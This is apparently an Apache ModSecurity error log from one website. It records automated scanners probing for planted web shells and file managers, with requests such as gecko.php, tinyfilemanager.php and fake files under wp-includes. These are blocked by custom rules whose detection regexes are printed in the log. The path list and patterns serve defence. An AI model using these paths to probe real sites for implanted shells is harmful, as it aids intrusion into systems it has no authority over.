[Wed Apr 22 23:39:00.034289 2026] [:error] [pid 9085:tid 9110] [client 68.219.234.17:8175] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aejrlN-_-or9vQnlWnrlfAAAAVc"]
[Wed Apr 22 23:39:00.716142 2026] [:error] [pid 6384:tid 6404] [client 68.219.234.17:8181] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aejrlD58M3t15ICeWHWZCgAAANE"]
[Wed Apr 22 23:39:01.296896 2026] [:error] [pid 6384:tid 6405] [client 68.219.234.17:8188] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aejrlT58M3t15ICeWHWZDAAAANI"]
[Wed Apr 22 23:39:01.868318 2026] [:error] [pid 23776:tid 23786] [client 68.219.234.17:8110] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aejrlbRExf-1pAbSeJswoAAAAYg"]
[Wed Apr 22 23:39:02.470204 2026] [:error] [pid 6384:tid 6393] [client 68.219.234.17:8005] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aejrlj58M3t15ICeWHWZDwAAAMY"]
[Wed Apr 22 23:39:03.060900 2026] [:error] [pid 6384:tid 6392] [client 68.219.234.17:8136] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aejrlz58M3t15ICeWHWZFQAAAMU"]
[Wed Apr 22 23:39:03.667883 2026] [:error] [pid 6384:tid 6405] [client 68.219.234.17:8153] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aejrlz58M3t15ICeWHWZGQAAANI"]
[Wed Apr 22 23:39:04.281382 2026] [:error] [pid 9085:tid 9103] [client 68.219.234.17:8036] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aejrmN-_-or9vQnlWnrlhgAAAVA"]
[Wed Apr 22 23:39:04.928438 2026] [:error] [pid 9085:tid 9108] [client 68.219.234.17:8187] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "aejrmN-_-or9vQnlWnrliwAAAVU"]
[Wed Apr 22 23:39:05.606642 2026] [:error] [pid 9085:tid 9103] [client 68.219.234.17:8016] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "aejrmd-_-or9vQnlWnrlkwAAAVA"]
[Wed Apr 22 23:39:06.188387 2026] [:error] [pid 9085:tid 9100] [client 68.219.234.17:7957] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "aejrmt-_-or9vQnlWnrlmAAAAU0"]
[Wed Apr 22 23:39:06.740033 2026] [:error] [pid 6344:tid 6367] [client 68.219.234.17:8101] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "aejrmkDOTF-pkQnDeUkeDAAAABI"]
[Wed Apr 22 23:39:07.407418 2026] [:error] [pid 6344:tid 6372] [client 68.219.234.17:8038] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "aejrm0DOTF-pkQnDeUkeEAAAABc"]
[Wed Apr 22 23:39:08.248038 2026] [:error] [pid 6344:tid 6370] [client 68.219.234.17:8090] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "aejrnEDOTF-pkQnDeUkeFAAAABU"]
[Wed Apr 22 23:39:09.152807 2026] [:error] [pid 23776:tid 23793] [client 68.219.234.17:8167] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "aejrnbRExf-1pAbSeJswpwAAAY8"]
[Wed Apr 22 23:39:09.684731 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:8116] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "aejrnd-_-or9vQnlWnrlnAAAAUo"]
[Wed Apr 22 23:39:10.241866 2026] [:error] [pid 6344:tid 6361] [client 68.219.234.17:8043] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "aejrnkDOTF-pkQnDeUkeGAAAAAw"]
[Wed Apr 22 23:39:10.753758 2026] [:error] [pid 23776:tid 23799] [client 68.219.234.17:8056] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aejrnrRExf-1pAbSeJswqQAAAZU"]
[Wed Apr 22 23:39:11.306437 2026] [:error] [pid 9085:tid 9106] [client 68.219.234.17:35492] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aejrn9-_-or9vQnlWnrloQAAAVM"]
[Wed Apr 22 23:39:11.828500 2026] [:error] [pid 6344:tid 6354] [client 68.219.234.17:8053] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aejrn0DOTF-pkQnDeUkeGwAAAAU"]
[Wed Apr 22 23:39:12.358121 2026] [:error] [pid 9085:tid 9099] [client 68.219.234.17:8020] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aejroN-_-or9vQnlWnrlpAAAAUw"]
[Wed Apr 22 23:39:12.908748 2026] [:error] [pid 9085:tid 9100] [client 68.219.234.17:8102] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "aejroN-_-or9vQnlWnrlpgAAAU0"]
[Wed Apr 22 23:39:13.472476 2026] [:error] [pid 9085:tid 9095] [client 68.219.234.17:8093] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "aejrod-_-or9vQnlWnrlqgAAAUg"]
[Wed Apr 22 23:39:14.019323 2026] [:error] [pid 23776:tid 23786] [client 68.219.234.17:8098] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "aejrorRExf-1pAbSeJswrQAAAYg"]
[Wed Apr 22 23:39:14.540444 2026] [:error] [pid 23776:tid 23802] [client 68.219.234.17:8076] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "aejrorRExf-1pAbSeJswrgAAAZg"]
[Wed Apr 22 23:39:15.095176 2026] [:error] [pid 6344:tid 6350] [client 68.219.234.17:8113] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aejro0DOTF-pkQnDeUkeIQAAAAE"]
[Wed Apr 22 23:39:15.626865 2026] [:error] [pid 6250:tid 6265] [client 68.219.234.17:35433] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aejrow-iZeQkqmQVfj4ykQAAAEs"]
[Wed Apr 22 23:39:16.187176 2026] [:error] [pid 6252:tid 6329] [client 68.219.234.17:8049] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aejrpOtGYuiYb1nWBpRrwAAAARE"]
[Wed Apr 22 23:39:16.735446 2026] [:error] [pid 6344:tid 6356] [client 68.219.234.17:8029] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aejrpEDOTF-pkQnDeUkeJAAAAAc"]
[Wed Apr 22 23:39:17.324191 2026] [:error] [pid 6344:tid 6357] [client 68.219.234.17:35439] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aejrpUDOTF-pkQnDeUkeJgAAAAg"]
[Wed Apr 22 23:39:17.926581 2026] [:error] [pid 23776:tid 23782] [client 68.219.234.17:7997] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aejrpbRExf-1pAbSeJswtAAAAYQ"]
[Wed Apr 22 23:39:18.743760 2026] [:error] [pid 23776:tid 23781] [client 68.219.234.17:7963] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aejrprRExf-1pAbSeJswtwAAAYM"]
[Wed Apr 22 23:39:19.743252 2026] [:error] [pid 23776:tid 23779] [client 68.219.234.17:8106] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Wed Apr 22 23:39:19.997903 2026] [:error] [pid 23776:tid 23802] [client 68.219.234.17:8106] File does not exist: /usr/local/apache/htdocs/suspended-page/ws84.php
[Wed Apr 22 23:39:20.275901 2026] [:error] [pid 23776:tid 23800] [client 68.219.234.17:8106] File does not exist: /usr/local/apache/htdocs/suspended-page/ws61.php
[Wed Apr 22 23:39:21.694959 2026] [:error] [pid 23776:tid 23800] [client 68.219.234.17:8106] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Thu Apr 23 07:20:27.660190 2026] [:error] [pid 42972:tid 43032] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 23 07:20:28.069675 2026] [:error] [pid 42972:tid 43036] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 23 07:20:28.436805 2026] [:error] [pid 42972:tid 43026] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 23 07:20:29.213188 2026] [:error] [pid 42972:tid 43035] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 23 07:20:29.511710 2026] [:error] [pid 42972:tid 43032] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 23 07:20:29.899772 2026] [:error] [pid 42972:tid 43024] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 23 07:20:30.230111 2026] [:error] [pid 42972:tid 43026] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 23 07:20:30.616682 2026] [:error] [pid 42972:tid 43028] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 23 07:20:31.354056 2026] [:error] [pid 42972:tid 43029] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 23 07:20:31.674999 2026] [:error] [pid 42972:tid 43040] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 23 07:20:32.066780 2026] [:error] [pid 42972:tid 43028] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 23 07:20:32.435450 2026] [:error] [pid 42972:tid 43025] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 23 07:20:32.772316 2026] [:error] [pid 42972:tid 43039] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 23 07:20:33.106691 2026] [:error] [pid 42972:tid 43027] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 23 07:20:33.441957 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 23 07:20:33.803196 2026] [:error] [pid 42972:tid 43038] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 23 07:20:34.138789 2026] [:error] [pid 42972:tid 43040] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 23 07:20:34.575956 2026] [:error] [pid 42972:tid 43019] [client 89.251.0.125:25149] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 23 07:20:40.547206 2026] [:error] [pid 42972:tid 43024] [client 89.251.0.125:25149] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aelXyMOAb-3sOknsk4cR_wAAAEg"]
[Thu Apr 23 07:20:42.457498 2026] [:error] [pid 64998:tid 65004] [client 89.251.0.143:54857] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aelXyoV5EysYcTLjmwjkKwAAAcI"]
[Thu Apr 23 07:20:44.480072 2026] [:error] [pid 42971:tid 42990] [client 89.251.0.137:46435] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 23 07:20:45.485014 2026] [:error] [pid 42971:tid 42986] [client 89.251.0.137:46435] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aelXzTEP2_5RswrH8bGaWwAAAAA"]
[Thu Apr 23 07:20:46.729310 2026] [:error] [pid 42971:tid 42987] [client 89.251.0.133:31609] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 23 07:20:47.035437 2026] [:error] [pid 42971:tid 42993] [client 89.251.0.133:31609] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aelXzzEP2_5RswrH8bGaZAAAAAc"]
[Thu Apr 23 07:20:48.017150 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.141:49563] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 23 07:20:49.843952 2026] [:error] [pid 65000:tid 65056] [client 89.251.0.141:49563] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aelX0b6vRb9j6psK2ZZ7QAAAAhc"]
[Thu Apr 23 07:20:50.819908 2026] [:error] [pid 65000:tid 65043] [client 89.251.0.116:58313] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aelX0r6vRb9j6psK2ZZ7WgAAAgo"]
[Thu Apr 23 07:20:51.427462 2026] [:error] [pid 42973:tid 43048] [client 89.251.0.135:25955] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aelX026I0QqmmmLTHE3PAQAAAIU"]
[Thu Apr 23 07:20:52.047082 2026] [:error] [pid 42971:tid 42989] [client 89.251.0.129:32237] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aelX1DEP2_5RswrH8bGakgAAAAM"]
[Thu Apr 23 07:20:53.202802 2026] [:error] [pid 42973:tid 43053] [client 89.251.0.138:22107] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aelX1W6I0QqmmmLTHE3PBgAAAIo"]
[Thu Apr 23 07:20:53.910407 2026] [:error] [pid 59700:tid 59721] [client 89.251.0.113:38689] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aelX1ZXyGZJFeAIDWtlLMAAAAVM"]
[Thu Apr 23 07:20:54.901330 2026] [:error] [pid 25635:tid 25639] [client 89.251.0.113:60639] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aelX1sRxv6UsgRGKB3LVcQAAAQA"]
[Thu Apr 23 07:20:55.500584 2026] [:error] [pid 43083:tid 43101] [client 89.251.0.129:30105] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 23 07:20:56.113425 2026] [:error] [pid 43083:tid 43091] [client 89.251.0.129:30105] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aelX2DC5hrvNXosL83K7KwAAAMY"]
[Thu Apr 23 07:20:57.238999 2026] [:error] [pid 43083:tid 43108] [client 89.251.0.144:34725] [client 89.251.0.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aelX2TC5hrvNXosL83K7MwAAANc"]
